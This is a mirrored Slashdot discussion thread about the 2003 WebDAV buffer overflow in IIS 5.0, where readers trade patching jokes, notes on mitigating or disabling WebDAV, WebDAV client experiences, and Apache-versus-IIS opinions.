Slashdot Mirror


WebDAV Buffer Overflow Attack Compromises IIS 5.0

rf0 writes "Well CERT is reporting a new overflow attack for IIS 5.0. Microsoft has released a bulletin. Better download those patches and fix another security hole." According to this CNET story, Microsoft says that this is already being exploited, at the very least since last Wednesday.

367 comments

  1. yup by Anonymous Coward · · Score: 4, Funny

    (looks at watch) its monday again... time to go patch my IIS

    1. Re:yup by Anonymous Coward · · Score: 0, Flamebait

      wish I would have posted that for real instead of AC... figured it would be flamebait... forgot this was slashdot where bash microsoft = funny/insightful...

    2. Re:yup by Groo+Wanderer · · Score: 4, Funny

      Having to watch over a handfull of IIS machines for several companies, I can say, with some authority, that if you only patch weekly, you are in trouble. MS often releases several critical patches per week, get on the ball.

      -Charlie

      (This was origionally menat to be sarcasm, but then I wnet to the windows update and looked at the entire patch list, not the rollups. It really is as bad as I was thinking. As that great philosopher Pepe LaPew says, *LeSigh*.)

    3. Re:yup by bonch · · Score: 1

      Was that really +5 funny?

    4. Re:yup by vsprintf · · Score: 3, Funny

      Was that really +5 funny?

      I've never had mod points.

      Those of us who get mod points weekly are easily amused. Try clicking on the "willing to moderate" box. :)

    5. Re:yup by Anonymous Coward · · Score: 0

      Perhaps you've never heard of a little thing called "The Post," in which some users...posted. "No mod points for you!"

  2. Patch? by Iamthefallen · · Score: 4, Funny
    Better download those patches and fix another security hole.

    Well duh, "patch my IIS", it's monday isn't it?

    --
    Wax-Museum Fire Results In Hundreds Of New Danny DeVito Statues
    1. Re:Patch? by mrjive · · Score: 5, Funny

      More like "every day that ends in -day"

      --
      If you can't beat them, arrange to have them beaten. -George Carlin
    2. Re:Patch? by shades66 · · Score: 2, Funny

      They do appear occasionally it's just that you can't see them for all the Microsoft patches...

      --
      ---- There are 10 types of people in the world. Those that understand binary and those that don't
    3. Re:Patch? by BorgDrone · · Score: 2, Funny

      No, just on days that start with a T

      Thursday, Tuesday, Today, Tomorrow.

    4. Re:Patch? by arose · · Score: 1

      Thank RMS GNU's not Unix.

      --
      Analogies don't equal equalities, they are merely somewhat analogous.
    5. Re:Patch? by dr.badass · · Score: 1

      With the unfortunate exception of "yesterday".

      --
      Don't become a regular here -- you will become retarded.
    6. Re:Patch? by Tribbin · · Score: 1

      Including Mothersday

      --
      If you mod this up, your slashdot background will turn into a beautiful sunset!
    7. Re:Patch? by larry+bagina · · Score: 0, Flamebait
      90% of slashdot readers are running using IE and windows. Apple security updates get hidden in apple.slashdot, BSD in bsd.slashdot, and linux/miscellaneous get ignored or hidden in developers.slashdot.

      It's only MS bugs that are "news for nerds" or "stuff that matters" enough to get front-page coverage.

      --
      Do you even lift?

      These aren't the 'roids you're looking for.

  3. Ugh by wizarddc · · Score: 5, Informative

    WebDAV has been a headache for for a long time, until I decided to just disable it altogther. I realized I never had a purpose for it, personally, so I added the disabling registry key too all my servers. If you know any good that WebDAV does, I'd like to know about it.

    --
    Th
    1. Re:Ugh by Evil+Grinn · · Score: 2, Informative

      If you know any good that WebDAV does, I'd like to know about it.

      Read the links in the posting:

      Microsoft Windows 2000 supports the World Wide Web Distributed Authoring and Versioning (WebDAV) protocol. WebDAV, defined in RFC 2518, is a set of extensions to the Hyper Text Transfer Protocol (HTTP) that provide a standard for editing and file management between computers on the Internet. A security vulnerability is present in a Windows component used by WebDAV, and results because the component contains an unchecked buffer.

      (http://www.microsoft.com/technet/treeview/defau lt .asp?url=/technet/security/bulletin/ms03-007.asp)

    2. Re:Ugh by kjhambrick · · Score: 3, Insightful

      .. cut ...

      Four things that make WebDav's so
      cool ...

      And don't forget to add ...

      WebDAV like SOAP makes it real easy
      for developers to sneak your data
      thru pesky firewalls using Port 80.

      That-a-Way, we can all share all our
      Corp Documents with the WFW ( Whole
      Effing World )

      -- kjh

    3. Re:Ugh by Mexican · · Score: 5, Interesting

      Is it just me, or did anyone happen to download and extract the patch and notice that it does not seem to contain the webdav .dll but just ntdll.dll? So is it really a patch to WebDav or for something in ntdll.dll that webdav relies on?

    4. Re: Ugh by Black+Parrot · · Score: 1


      > If you know any good that WebDAV does, I'd like to know about it.

      DAV: I see you're trying to modify a remote Web page. Would you like me to help?

      Hal the Human: [muttering under his breath] I think Hal's gonna unplug DAV this time around!

      --
      Sheesh, evil *and* a jerk. -- Jade
    5. Re:Ugh by questionlp · · Score: 5, Informative
      According to the Microsoft bulletin (here):
      What's wrong with the way IIS 5.0 handles WebDAV requests?

      WebDAV uses IIS to pass requests to and from Windows 2000. When IIS receives a WebDAV request, it typically processes the request and then acts on it. However, if the request is formed in a particular way, a buffer overrun can result because one of the Windows components called by WebDAV does not correctly check parameters.

      It sounds like WebDAV sends a malformed request back to the ntdll.dll for additional processing and possibly authentication (?) that is the problem. My guess is that the root of the problem is in ntdll.dll, but it could be mitigated by filtering WebDAV requests using the URLScan utility. More information can be had about 2/3 the way down in the same bulletin linked above.

      HTH

    6. Re:Ugh by jafiwam · · Score: 1

      Microsoft FrontPage Server Extensions run through WebDav. (I think DreamWeaver supports it too, but I have never used it that way.)

      As far as I know, if you don't run WebDav you can't run FP Extensions.

      I would guess that the SharePoint web services thingy uses it too, but that's only a hunch.

    7. Re:Ugh by Dudio · · Score: 2, Informative

      My guess is that the root of the problem is in ntdll.dll, but it could be mitigated by filtering WebDAV requests using the URLScan utility.

      Yup. According to the ISS advisory, the overflow is "in a path conversion function within NtDLL, which is called from a common API exported from the Kernel32 library." WebDAV is just the attack vector. Filtering WebDAV requests removes the known remote attack vector, but you really need to patch the underlying problem (ntdll) in order to be sure.

    8. Re:Ugh by questionlp · · Score: 1

      Thanks... I haven't looked at the ISS advisory yet, but that's what I kind of figured based on what Microsoft had in their bulletin. Using URLScan just obscures the vulnerability as there is probably another entry point that could be exploited that we have no clue about.

    9. Re:Ugh by jelle · · Score: 2, Insightful

      Sounds like WebDAV allows an out-of-spec NTDLL kernel API call to occur as a result of an incoming web request from IIS.

      Sounds like yet another result of not having a completely well defined API and/or not adhering to it...

      Anything between the big-bad-intetnet and operating system internals should check all parameter values and data it passes on to the OS.

      Basically, there could be another bug in another dll of windows that WebDAV may someday call, and the same security hole is open again. Especially worrysome since a single software install/update could place a new DLL in place that contains the bug...

      --
      --- Hindsight is 20/20, but walking backwards is not the answer.
    10. Re:Ugh by Dudio · · Score: 1

      Basically, there could be another bug in another dll of windows that WebDAV may someday call, and the same security hole is open again. Especially worrysome since a single software install/update could place a new DLL in place that contains the bug...

      Good point. This is why anybody who doesn't need WebDAV should disable it immediately, even if they already applied the patch. Patching specific vulnerabilities while leaving the attack vectors in place is just asking for trouble. I'm still amazed at the number of IIS admins who continue to leave the default script mappings and virtual directories in place while insisting that they're secure because they patched that .ida thing and the MSADC thing and that other thing.

    11. Re:Ugh by Rollo+Tomassi · · Score: 1
      Third, since it's well integrated into Windows 2000 and XP, it is really nice and easy to use. With WinXP you can even treat a WebDAV enabled host on the web to look and act like a local file system in all ways. This "redirector" support in Windows XP makes a lot of stuff possible.

      True, WebDAV has great potential for being a simple, cross-platform NFS. It already has user authentication and encryption built in, and future updates of the protocol is likely to have access control and versioning (read more at www.webdav.org/specs/). But, you couldn't be more wrong about Windows XP. The WebDAV redirector implementation in Windows XP is incredibly broken, broken to the point where I'm beginning to believe the conspiratory theories.

      Firstly, the WebDAV client built into XP doesn't handle digest authentication, forcing you to send passwords in the clear. Secondly, the user authentication is broken in a way that, AFAIK, makes it pretty much incompatible with Apache: When connecting to, say, http://host.net/myfiles/ as 'user' the XP redirector authenticates itself as user@host.net\myfiles' when it should only be sending 'user'. Strangely, while being clearly wrong, this works just fine with IIS, but breaks Apache.

      I'm sure there's more, but that's what I've found during the last couple of days when trying to set up a WebDAV server so that I could share files between Mac, Linux and Win boxes easily.

      Try taking a look at the number of messages detailing problems with WinXP at www.lyra.org/pipermail/dav-dev/.

      It really makes me sad.

    12. Re:Ugh by Corrado · · Score: 1

      I dont think SharePoint (or whatever they are calling it this week) uses WebDAV. We are using it at work and it wont work with anything except IE and MSOffice. No real suprise there I guess.

      [sigh]

      It's soooo close to being cool. Working with other OSS WebDAV stuff would be great! I guess they can't risk the market share though... :(

      --
      KangarooBox - We make IT simple!
    13. Re:Ugh by Anonymous Coward · · Score: 0
      Even if you think MS's history with WebDAV is bad - which it is - it is nothing compared to the history of problems with FTP daemon's out there.

      Yeah... like the MS FTP server? Setup: FTP server on port 21, another instance of FTP server on port 210. Add user to port 21 server. User now also has access to the port 210 server. Doesn't show up in port 210 server's user/access list. Duh?

  4. This is news? by miketang16 · · Score: 0, Flamebait

    Hm.. ok.. another day, another Microsoft security hole. I wonder if even half of all Windows users use Windows Update. =P

    --
    -------
    "In times of universal deceit, telling the truth becomes a revolutionary act."
    -- George Orwell
    1. Re:This is news? by mmol_6453 · · Score: 5, Funny

      Between getting rooted and being automatically subject to license agreements, I'd rather get rooted.

      --
      What's this Submit thingy do?
    2. Re:This is news? by Anonymous Coward · · Score: 0

      Then you're a jackass.

      Especially since hey, when you're using a Linux distribution you're automatically subjected to..yes, you guessed it..license agreements! Half of the stuff you get is licensed under the GPL, which, while having a pro-user slant, is still restrictive in many ways that some might consider negative.

      If you would actually rather have someone break into your system, and use it for purposes legal or otherwise than read through a license and accept it (which, you know, you should already be doing if you're using just about any OS), you were probably dropped on your head as a child.

    3. Re:This is news? by mmol_6453 · · Score: 2, Insightful

      The problem doesn't lie in my dislike of reading licenses, it lies in risking not having the option to read them in the first place.

      I have nothing against software licenses...Sometimes their implementation is questionable, and more often than not taken for granted by the majority of users, but I see them as a valid way for the writer of the software to place restrictions on its use.

      I can, and do, license my stuff under the GPL, LGPL, or BSD license, as the case warrents.

      --
      What's this Submit thingy do?
  5. Another day, another Microsoft bug by RighteousFunby · · Score: 4, Funny

    When they get a bug free Windows, they'll have to put some in just so bored /. readers have something to laugh at....

  6. Bah, the Internet by Captain+Beefheart · · Score: 5, Funny

    I don't know why anyone uses it anymore. I'm switching back to Morse Code. Who's with me?

    1. Re:Bah, the Internet by mrtroy · · Score: 1

      At least morse code is secure! Except when those damn fools stole the enigma! BAH! If it work wasnt done and it wasnt saint paddy's day, I think I would concern myself with this new sploit.

      But there is green beer to be drank, and those 31337 0day haq0rs have had this in their hands for a while...

      --
      [I can picture a world without war, without hate. I can picture us attacking that world, because they'd never expect it]
    2. Re:Bah, the Internet by Anonvmous+Coward · · Score: 5, Funny

      "I don't know why anyone uses it anymore. I'm switching back to Morse Code. Who's with me?"

      Shut the ..-. up!

      =D

    3. Re:Bah, the Internet by charon_on_acheron · · Score: 2, Funny

      dotdot
      dotdash dashdash
      dotdash dotdashdotdot dotdashdot dot dotdash dashdotdot dashdotdashdash
      dash dotdotdotdot dot dotdashdot dot
      dotdashdotdashdotdash

    4. Re:Bah, the Internet by kasperd · · Score: 1

      I'm switching back to Morse Code.

      Then I recomend Linux. With appropriate patches you can get the error message in morse code in case of a kernel panic.

      --

      Do you care about the security of your wireless mouse?
    5. Re:Bah, the Internet by IIRCAFAIKIANAL · · Score: 2, Funny

      I prefer carrier pigeons. Let's implement rfc 1149!

      --
      Robots are everywhere, and they eat old people's medicine for fuel.
    6. Re:Bah, the Internet by rgmoore · · Score: 1

      Is that the latest news from dashdot.org?

      --

      There's no point in questioning authority if you aren't going to listen to the answers.

    7. Re:Bah, the Internet by Anonymous Coward · · Score: 1, Informative

      this would be funny, but I doubt most moderators would take the time to decode it so:
      ' i am already there '

    8. Re:Bah, the Internet by Herkum01 · · Score: 1

      Just think you could implement a Beowolf, no thats computers. You implement a gaggle, no that is geese...

      Dammit, why would you want use pigeons anyways, they are just rats with wings after all!

    9. Re:Bah, the Internet by evilviper · · Score: 2, Funny

      Oh yeah? Just takes one bird with a slightly long piece of paper to cause a buffer-overflow. Boy will it be fun watching someone input piece of paper after paper until they've input an entire rootkit.

      You think internet DDoS attacks are bad, just wait until you have 10,000 Pidegons flying straight for you!

      --
      Slashdot gets worse every day... Pipedot: News for nerds, without the corporate slant
  7. Again... by Anonymous Coward · · Score: 3, Interesting

    A buffer overflow allowing an entire system takeover... Why is the code that the web server has access to change allowed to take over the system?

    1. Re:Again... by zzxc · · Score: 5, Funny

      >Why is the code that the web server has access to
      >change allowed to take over the system?

      Because it is "trusted".

    2. Re:Again... by GunFodder · · Score: 2, Insightful

      Because otherwise it wouldn't be "integrated" into the OS and therefore might be an illegal attempt to use an existing monopoly to propagate another one (see IE for further details). Although it looks like IIS is too late and Apache has already won the day for open source.

    3. Re:Again... by Anonymous Coward · · Score: 0

      >Because it is "trusted".

      As in "Trustworthy Computing"???

  8. Gartner Group by 1010011010 · · Score: 5, Insightful

    If you listened to the Gartner Group, you stopped using IIS last year.

    If you didn't, well, get with the program!

    Eventually MSFT will have to deliver your "mission critical" ASP runtime for Apache, and the world will be a better place because of it.

    --
    Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    1. Re:Gartner Group by JamesGreenhalgh · · Score: 2, Interesting

      I was rather hoping PHP would kill ASP off, having had the unpleasant task of maintaining a machine running Chillisoft ASP.

      I remember many moons ago, there was a program that could convert ASP to PHP - I wonder if it still exists and how good it is these days if so..?

      --

      --
      ALL YOUR BASE ARE BELONG TO US!
    2. Re:Gartner Group by gilesjuk · · Score: 1

      Well this isn't going to halt the decline of IIS. I personally think the only reason to run a Windows web server to easily interface it with SQL Server. If you don't want SQL Server then there's plenty of alternatives.

    3. Re:Gartner Group by Mr.+Sketch · · Score: 4, Informative

      I remember many moons ago, there was a program that could convert ASP to PHP - I wonder if it still exists and how good it is these days if so..?

      Are you talking about ASP2PHP over at asp2php.naken.cc? The biggest things it doesn't seem to support are COM objects and MS SQL Server connections, at least according to the FAQ.

    4. Re:Gartner Group by Anonymous Coward · · Score: 0

      > Eventually MSFT will have to deliver your "mission critical" ASP
      > runtime for Apache, and the world will be a better place because
      > of it.
      >

      Interesting... I've seen mention of an Apache module called mod_isapi (or mod_ISAPI) - never got around to investigating it - anyone used this? Does it do what the name implies - implement ASP as an Apache module?

      I'm a pen-tester. I'm forever writing up reports full of stuff approximatly saying:

      "host 12.34.56.76: IIS 5.0 server. Missing patches (a,b,c). Comments: These need to be fixed, and the reason why they're not fixed, fixed. Action: Procedures should be put in place to make
      sure someone monitors the lists, is subscribed to and READS CERT, the MIS alerts, bugtraq, NTBugtraq, etc etc. When something new happens, their job is to make sure everything gets patched, and that good defensive measures are in place beforehand."

      I add a codecil about IIS having a bad security history, and perhaps they could consider alternatives if they don't want to pay someone to sit around waiting to get the call to run around patching everything at 11:30pm on a rainy Thursday night. I'd love to be able to mention this as an easy migration option for people unfortunate enough to be locked in with lots of legacy ASP code, who imagine it'll cost them the same in 2003 to migrate to Apache as it cost them in 1999 or 2000 to built it from scratch on IIS...

      (I'm paraphrasing rather heavily, of course. I've removed all the buzzwords...)

    5. Re:Gartner Group by rodgerd · · Score: 1

      I can easily interface to SQL Server from numerous other programming environments. Java seems to be the exception, unless one pays for expensive commercial JDBC libs.

    6. Re:Gartner Group by tshak · · Score: 1

      Instead, MSFT is releasing IIS6, which is pretty much a rewrite with a huge focus on security. We'll see a year from now how it fairs, but it looks promising.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    7. Re:Gartner Group by Jenova · · Score: 2, Informative

      MS has a JDBC lib out it seems.
      http://www.microsoft.com/downloads/details .aspx?Fa milyID=4f8f2f01-1ed7-4c4d-8f7b-3d47969e66ae&Displa yLang=en

    8. Re:Gartner Group by more+fool+you · · Score: 1

      no

    9. Re:Gartner Group by Peter+Harris · · Score: 1
      I personally think the only reason to run a Windows web server to easily interface it with SQL Server.
      • thttpd
      • FreeTDS
      • Python Sybase module
      Works very nicely. As a bonus, any Python you write will work OK (with minimal changes) if you decide to move one or more databases to PostgreSQL.
      --

      -- What do you need?
      -- Gnus. Lots of Gnus.
    10. Re:Gartner Group by pod · · Score: 1

      asp2php apparently did handle some db stuff, as far back as 2 years ago when I used it.

      It didn't do the nicely wrapped stuff using Commerce Server components, which did nice db and lists and dictionaries/hashes, which was a pita, but simple enough to replicate in a php class. It also broke when you used one-line if-then statements, with no 'end'; these are legal in VB. I reported that bug after I noticed my resulting php code was getting very heavily indented. COM objects would be very difficult to handle... it's compiled code!

      asp2php handled my ton of convoluted, structured and very nested (via includes) mess of an asp site. At the very least it will save you lots of time converting aspisms to phpisms.

      --
      "Hot lesbian witches! It's fucking genius!"
  9. Why use IIS? by Blaine+Hilton · · Score: 2, Insightful

    All of these "patch" issues should be listed and sent to management with a recommediation of switching to a more secure *nix alterntive. When will the truth beat out the Microsoft ad machine?

    1. Re:Why use IIS? by Enrico+Pulatzo · · Score: 1

      People use IIS for two reasons: it's preinstalled on Windows servers and it's got a pretty interface unlike apache, which doesn't come with a gui interface. I think that's pretty important for people who don't know all of the options for their server. It's been my general gripe with text files for config anyway--you don't see all of the options.

    2. Re:Why use IIS? by Len · · Score: 3, Flamebait

      Would you also send them the list of Apache security alerts? Or is that too much truth for you?

    3. Re:Why use IIS? by binner1 · · Score: 5, Insightful

      Typically GUI config apps don't give you all the options either. They give you the most common ones. The rest are buried (in the case of Windows) in the registry. A pretty GUI just gives the _illusion_ that you're in control.

      A text file can hide options too, but not in the same way. Generally, applications have many defaults that don't need to be defined in the configuration explicitly. A good config file will list most of these anyway, even if commented out (example /etc/ssh/sshd_config). A bad config file will list only options that are different than the defaults or not included in the defaults.

      That being said, there is no reason that someone putting a server on the internet should be afraid of editing a text file. Even in Windows! Notepad is just fine...

      If you're playing on the public internet, you have to put up or shut up (know your shit, or accept the consequences)...

      Obviously though, this issue has nothing to do with the WebDAV exploit. Even the best admin is at the mercy of the quality of his/her software (whether UNIX or Windows or $your_os).

      -Ben

    4. Re:Why use IIS? by White+Roses · · Score: 1
      Aside from both of you being a little hopeful that anyone with a C and an O in their title would even read these missives from their proles . . .

      I'd send them a list of both, along with a list of patch availability time for each hole that was patched, and a list of holes that still remain unpatched.

      Frankly, the thing that steams my giblets the most about IIS is the unalterable GMT time-stamping on the W3C log format coupled with the inability to customize the other available (non-GMT stamping) log formats.

      --
      Do not touch -Willie
    5. Re:Why use IIS? by Enucite · · Score: 1

      That's a good idea.. seeing as half of those only affect Windows machines. That would probably help convince the boss to switch. :-D

    6. Re:Why use IIS? by hdparm · · Score: 1

      Unfortunatelly, you can send them whatever you want, if they are technically clueless (I've seen a few) they'll chose IIS to make a nice cut of MS. Particularly so, if IIS is replacement for Linux/Apache box.

    7. Re:Why use IIS? by Len · · Score: 1

      By the way, for whoever modded this "flamebait", my web server is Apache. Running on Windows XP Home Edition. Really.

  10. OMG! by Anonymous Coward · · Score: 4, Funny

    Cue 2,000 microsoft bashing messages...

    1. Re:OMG! by NewbieProgrammerMan · · Score: 5, Funny

      I hope you don't have a static buffer allocated for those messages, because it'll....ummm...overflow.

      --
      [b.belong('us') for b in bases if b.owner() == 'you']
    2. Re:OMG! by Anonymous Coward · · Score: 0

      Cue? Do you mean Queue?

    3. Re:OMG! by Anonymous Coward · · Score: 0

      cue = hey it's your cue to go on stage
      queue = queue line jumping is NOT considered a sport here at _ThemeParkName

    4. Re:OMG! by pclminion · · Score: 1
      I hope you don't have a static buffer allocated for those messages, because it'll....ummm...overflow.

      If it was static (in the C sense), an overflow wouldn't smash the stack and there would be no exploit. ;-)

    5. Re:OMG! by Bill+Currie · · Score: 1

      Not necessarily true. I've smashed the stack by overflowing a static buffer in C. Yes, it took a stupidly large string, but it still happened.

      --

      Bill - aka taniwha
      --
      Leave others their otherness. -- Aratak

    6. Re:OMG! by btellier · · Score: 2, Informative

      A joke, but just so other people are clear other segments of memory are vulnerable to overflows as well:

      - .bss section: for uninitialized data. In this exploit I smashed a buffer in .bss space that ended up overwriting a function pointer in the .dtors section (IIRC, this was many years ago). Upon exit this function was called and ran a shell.

      - .data section: for initialized data. In this one I was able to overflow a set of character pointers in the xlock (screensaver) program. By overflowing them with the address of the /etc/shadow file stored in memory we were able to get xlock to dump the contents of the file.

      - heap overflows have been widely exploited in numerous major programs, including the BIND TSig bug.

      So don't think you're safe if you're using strcpy's on data not on the stack ;)

  11. Hi everybody! by Anonymous Coward · · Score: 4, Insightful

    Slashdot is not the place you want to read about things like this, if you really need / want to be on the ball. You need to subscribe to bugtraq and nanog. You'd be surprised... it's like knowing the future!

    1. Re:Hi everybody! by Anonymous Coward · · Score: 0

      Dunno about nanog, but Bugtraq was a couple of hours late in posting this.

      Of course, the *world* was late, as Microsoft knew about this on Wednesday, had a workaround available pre-patch, but noone found out until the patch was officially available.

      Frightening that this vulnerability was discovered due to actual exploited machines, and we still waited almost a week before anyone knew.

    2. Re:Hi everybody! by gl4ss · · Score: 1

      like the slashdot subscription then with the 'stories from future', eh?-)

      --
      world was created 5 seconds before this post as it is.
    3. Re:Hi everybody! by overbom · · Score: 1

      or, since this is a open source / community, you could support the open source community and subscribe to vulnwatch@osvdb.org -- it doesn't have as much noise, very little discussion, I only have to deal with 3-4 messages a day and still be informed -- it's only advisories.

    4. Re:Hi everybody! by indiigo · · Score: 1

      Bugtraq has a terrible signal/noise ratio, is behind on many of the common exploits out there, and is truly painful to watch professionals scramble about when an exploit is released. Unsubscribed years ago when it truly got bad.

      --
      fslg503-985-8686503-985-8686503-985-8686503-985-86 8650 3-985-fdsg8686503-985-8686503-985-8686503-9
  12. I am kind of impressed by obotics · · Score: 5, Interesting
    Wow! Microsoft already has a patch released? Not bad at all!

    Well, if they are going to have bugs, it is not that bad of a thing as long as they are patched promptly. Then again, many admins do have a tendancy to run unpatched machines.

    1. Re:I am kind of impressed by RLiegh · · Score: 3, Interesting

      Well, if they are going to have bugs, it is not that bad of a thing as long as they are patched promptly. Then again, many admins do have a tendancy to run unpatched machines.

      Many of these unpatched boxes are even windows machines. ;)
      (No, I'm not slamming windows, or *n?x; but bad admin practices.)
    2. Re:I am kind of impressed by joyoflinux · · Score: 4, Insightful

      Some admins run unpatched machines because they're more scared of what damage the patch will do than the security hole...

    3. Re:I am kind of impressed by octaene · · Score: 1

      Wow! Microsoft already has a patch released? Not bad at all!

      Actually, Microsoft posted the patch through another business organization, it's called Apache. Much more stable, secure, open source, and freely available!

      :-P
  13. MSNBC Posted this article... by wumarkus420 · · Score: 4, Informative

    It looks like this was the exploit used to hack into an Army machine recently. Check out the link from MSNBC here.

    1. Re:MSNBC Posted this article... by 1010011010 · · Score: 1


      The U.S. Military is really boneheaded -- putting MSFT into critical war-support systems is... well, asking for trouble.

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    2. Re:MSNBC Posted this article... by mbcbvn · · Score: 2, Insightful

      From MSNBC article:
      "IT'S UNKNOWN WHAT Army computer was attacked, how significant a target it was, or what the intruder's intentions were."

      Who said it was a critical system? Critical systems weren't even connected to the internet where I was. Or it could be an inside job?

      --
      dd
    3. Re:MSNBC Posted this article... by Anonymous Coward · · Score: 3, Informative

      Trust me, the military rarely uses MSFT for "critical" systems. And they sure as hell don't connect them to the internet. It was probably just a website for some crappy Army page that nobody ever goes to anyways and the admins don't maintain much, but because it's the military / government it's big news.

    4. Re:MSNBC Posted this article... by Steveftoth · · Score: 1

      Maybe the box in question wasn't critical, but if a hacker could use it to get access to other machines then it could be bad.

      Armor's only as strong as the weakest link and what not.

    5. Re:MSNBC Posted this article... by Anonymous Coward · · Score: 0
      the military rarely uses MSFT for "critical" systems


      What about the aircraft carrier that was dead in the water, reportedly due to a divide by zero?

    6. Re:MSNBC Posted this article... by Bedouin+X · · Score: 1

      Uh that was 5 years ago. Apparently they have learned something since I haven't heard about it since.

      --
      Dissolve... Resolve... Evolve...
    7. Re:MSNBC Posted this article... by Anonymous Coward · · Score: 0

      It was an Aegis guided missile cruiser. Carriers are insanely low tech by comparison. The hull has had the same basic design since the 1960s, which was the last time carrier design really went under a massive overhaul. Of course, you've got all the usual nifty upgrades to electronics and things, but it's definitely an add-on.

      Even the new CVX ships won't be particularly great advancements over the older Nimitz ships, although Rumsfeld is pushing the Navy to get more high tech toys into CVNX-1, or face cancellation in favor of moving straight on to CVNX-2.

    8. Re:MSNBC Posted this article... by 5alligator · · Score: 1
      Welcome to the Unicorn beachhead.

      Left on a military computer, i'd say that message could be quite significant.

    9. Re:MSNBC Posted this article... by 5alligator · · Score: 1

      echelon bait...

  14. Comment removed by account_deleted · · Score: 5, Informative

    Comment removed based on user account deletion

  15. I'd uninstall it but... by OffTheLip · · Score: 5, Funny

    I was ready to uninstall IIS when it occured to me that Exchange 2K needs it. I was ready to uninstall Exchange 2K when I realized users would not be able to function. Whew, luckily I came to my senses...

    1. Re:I'd uninstall it but... by carpe_noctem · · Score: 1

      I know this is a joke, but does exchange really need IIS to function? I know some of outlook's features rely on exchange, so this wouldn't really surprise me all that much.

      --
      "Quoting famous computer scientists out of context is the root of all evil (or at least most of it) in programming." - K
    2. Re:I'd uninstall it but... by rarity · · Score: 1

      I was ready to uninstall Exchange 2K when I realized users would not be able to function.

      And the problem is..?

    3. Re:I'd uninstall it but... by Falsch+Freiheit · · Score: 1

      Well, yes and no... You can use exchange 2000 without IIS, but certain key features will be unavailable.

      The "Outlook Web Access" for one. SMTP for another. (yes, SMTP runs as some sort of part of the IIS service or something wacked like that, with exchange somehow tieing into it)

      There's also ftp and nntp that exchange can, I think, use. At least POP and IMAP seem to be handled by Exchange 2000 directly.

    4. Re:I'd uninstall it but... by rthille · · Score: 1

      So, you uninstalled them both, right? :-)

      Robert

      --
      Awesome furniture, accessories and cabinetry in Santa Rosa, CA: http://humanity-home.com/
    5. Re:I'd uninstall it but... by blibbleblobble · · Score: 2, Informative

      "I was ready to uninstall Exchange 2K when I realized users would not be able to function."

      The Kolab server is a complete replacement for Exchange2K, and it runs on free operating systems.

  16. Q: WebDAV is Real? by 4of12 · · Score: 2, Interesting

    So is this any kind of standard WebDAV or just a particular proprietary implementation of similar features in IIS?

    I've always been curious about this technology. At one point I even heard talk of a "WebDAV filesystem", but haven't heard of it taking off in any big way yet.

    --
    "Provided by the management for your protection."
    1. Re:Q: WebDAV is Real? by greed · · Score: 5, Informative

      I've mounted WebDAV filesystems with my iBook, served by a Solaris machine with Apache and subversion. Even mounts under /Volumes, so programs don't even need to be aware of it; the XP "redirector" would fill this same role. (UNIX people can think "virtual filesystem switch" when you hear "redirector".)

      If you just want a DAV filesystem, see mod_dav_fs in any recent Apache. (Which DOES run on Windows, for everyone who wants to toss the OS out with the webserver. Not that I'm a fan of Windows for anything, but you can run non-MS servers on the thing.)

    2. Re:Q: WebDAV is Real? by marick · · Score: 1

      I've played a bit with the IIS WebDAV implementation, and it is mostly standard, but (as usual) with a few quirks to make things scary (extra properties, NT-Authentication).

      On the client side, many different applications support webDAV natively now, including (IIRC) the entire Adobe line of products and MSOffice.

      Also, if you use Windows and don't have XP, you can still use "Web Folders" to hook into a WebDAV server (mount a network server via the windows explorer).

      If you use Linux, you have fewer options, but here's what's out there:

      OpenOffice.org now supports WebDAV (as of version 1.0.2), but doesn't implement locking correctly, so be extra careful not to overwrite other people's changes if you take advantage of it.

      Gnome's Nautilus file browser will mount webdav shares (just type the URL and select "show as list" or "show as icons").

      Finally, there is a DAV File System (http://sourceforge.net/projects/dav/)
      that ships with Mandrake 9. It works for me.

      Finally, a plug, Xythos, the company I work for, makes a Web File Server and a Web File Client (the client is a more secure and featured replacement for the XP-redirector and Web Folders).

      You can try out our WebDAV server (the Oracle-backed version - we also support DB2, MSSqlServer and PostgreSQL) by getting a free account at http://www.sharemation.com

      -marick at xythos.com

    3. Re:Q: WebDAV is Real? by wirefarm · · Score: 1

      It's only being called WebDAV because there's a problem. ;-)

      Really, I always heard it called "Front Page Extensions" to the HTTP spec. (WebDav has always been the name I associated with the Apache version.)
      In all fairness, MS had it first and the OSS people adopted it. (IIRC - I may be wrong about this.)

      In fact, it's one of two innovations that I respect from the MS folks - this and ODBC.

      One caveat: I haven't used or looked at IIS in a few years, so they may have adopted WebDAV as the name, but my first thought was that they wanted to disassociate the problem a bit from their products like Front Page and IIS - PHBs will think that the problem is with the WebDAV protocol, not with the crappy MS implimentation, so Apache gets tarnished as well.
      (But of course, I am a paranoid net.kook and I see conspiracies everywhere.)

      Cheers,
      Jim

      --
      -- My Weblog.
    4. Re:Q: WebDAV is Real? by Simon+Brooke · · Score: 1
      In all fairness, MS had it first and the OSS people adopted it. (IIRC - I may be wrong about this.)
      In fact, it's one of two innovations that I respect from the MS folks - this and ODBC.

      You're wrong about this - it was part of Tim Berners Lee's original proposal for HTTP, and the RFC is cosigned by authors from Microsoft, UC Irvine, Netscape and Novell.

      --
      I'm old enough to remember when discussions on Slashdot were well informed.
  17. A quite-interesting report on MSNBC by expro · · Score: 4, Interesting

    It seems quite likely to me that that was an under-reported version of this incident reported on MSNBC, that permitted an intruder with apparent quite-hostile intent onto US Army sites.

    1. Re:A quite-interesting report on MSNBC by 5alligator · · Score: 1


      there's nothing in the article which shows that the intruder's intent was apparently *quite-hostile*.

    2. Re:A quite-interesting report on MSNBC by Anonymous Coward · · Score: 0

      You must have stopped reading half way through the article. They were apparently not there just to grafitti a site, but to map out the larger network for more attacks. That seems "quite hostile" to me.

  18. Its a bug...so what? by KingDaveRa · · Score: 4, Insightful
    So, ok, this is a bug. A serial vulnerability. It could lead to a server being crippled. Its all Microsoft's fault. Its crap software. Etc Etc.

    Now, I'm no anti-any OS, I like them all, but what about the latest Sendmail vuln? Or even the one in older versions of BIND? Isn't it true to say that ALL OSes are equally as vulnerable? During the brief time I was on the Redhat Network, I got at least two or three updates a day telling me the sky was about to fall in if I didn't patch my server soon.

    I treat all servers fairly, regardless of background, age or reliability :-)

    1. Re:Its a bug...so what? by Anonymous Coward · · Score: 0


      Astroturfer!

    2. Re:Its a bug...so what? by jazman_777 · · Score: 1
